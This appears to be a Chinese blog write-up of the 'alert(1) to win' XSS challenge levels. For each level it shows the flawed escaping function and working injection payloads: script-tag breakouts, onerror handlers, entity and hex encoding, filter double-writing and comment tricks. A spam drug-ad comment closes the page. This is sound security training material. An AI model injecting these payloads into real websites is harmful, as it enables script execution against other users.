XSS娱乐-几个简单的XSS实现

alert(1) to win

warmup

源码

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

payload

1. ");alert(1)("
2. ");alert(1)//

Adobe

源码

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

将引号转义了,利用第一个的paylaod不能闭合
但可直接闭合 <script> 标签

payload

1. </script><script>alert(1)</script><script>
2. </script><script>alert(1)//

JSON

源码

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

和第二个差不多

paylaod

</script><script>alert(1)</script><script>

Markdown

源码

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

payload

[[1|http://onerror='alert(1)']]

DOM

源码

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

将输入由 # 分成两个部分,第一个是创建的类型,第二个是创建的内容

例如 题目给的 TextNode#foo 的结果就是创建一个文本节点,内容为foo
尝试构造标签, 使用Element 失败
最后利用注释通过

Comment#--><script>alert(1)</script><!--
生成:
<!----><script>alert(1)</script><!---->

Callback

源码

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

这里其实和回调没啥关系,主要根据,将输入分开,然后想到来把前面的括号当成字符串,再把后面的括号注释掉

例如构造 ‘#’; 会造成 '({"userdata":" '; 虽然过滤了 双引号,但这里,我们利用双引号也到达目的了,加个分号,方便后面写js代码 alert(1)//,再注释掉后面的括号

payload

'#';alert(1)//

Skandia

源码

function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

思路很简单和第一个差不多,但是alert是大小写敏感的所以需要绕过

payload

")</script><img src=x onerror=&#97&#108&#101&#114&#116(1)>//

Template

源码

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}

这个题的过滤很严格,<> ' "' 都被过滤了,于是想到十六进制编码,在html解析的时候会转化为对应的字符

payload

\x3c/a\x3e\x3cimg src=x onerror=alert(1)\x3e
相当于:</a><img src=x onerror=alert(1)>

JSON 2

源码

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

和json思路差不多,考点在绕过对 </script 的绕过,大小写是不行的,那么可以联想到常用的里的双写绕过

payload

</scrip</scriptt><script>alert(1)</scrip</scriptt>

Callback2

源码

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

和第一个版本思路类似,但是过滤了 / 所以换一下

payload

'#';alert(1)<!--

标签: none

仅有一条评论

  1. Cialis Quotidien buy cialis

添加新评论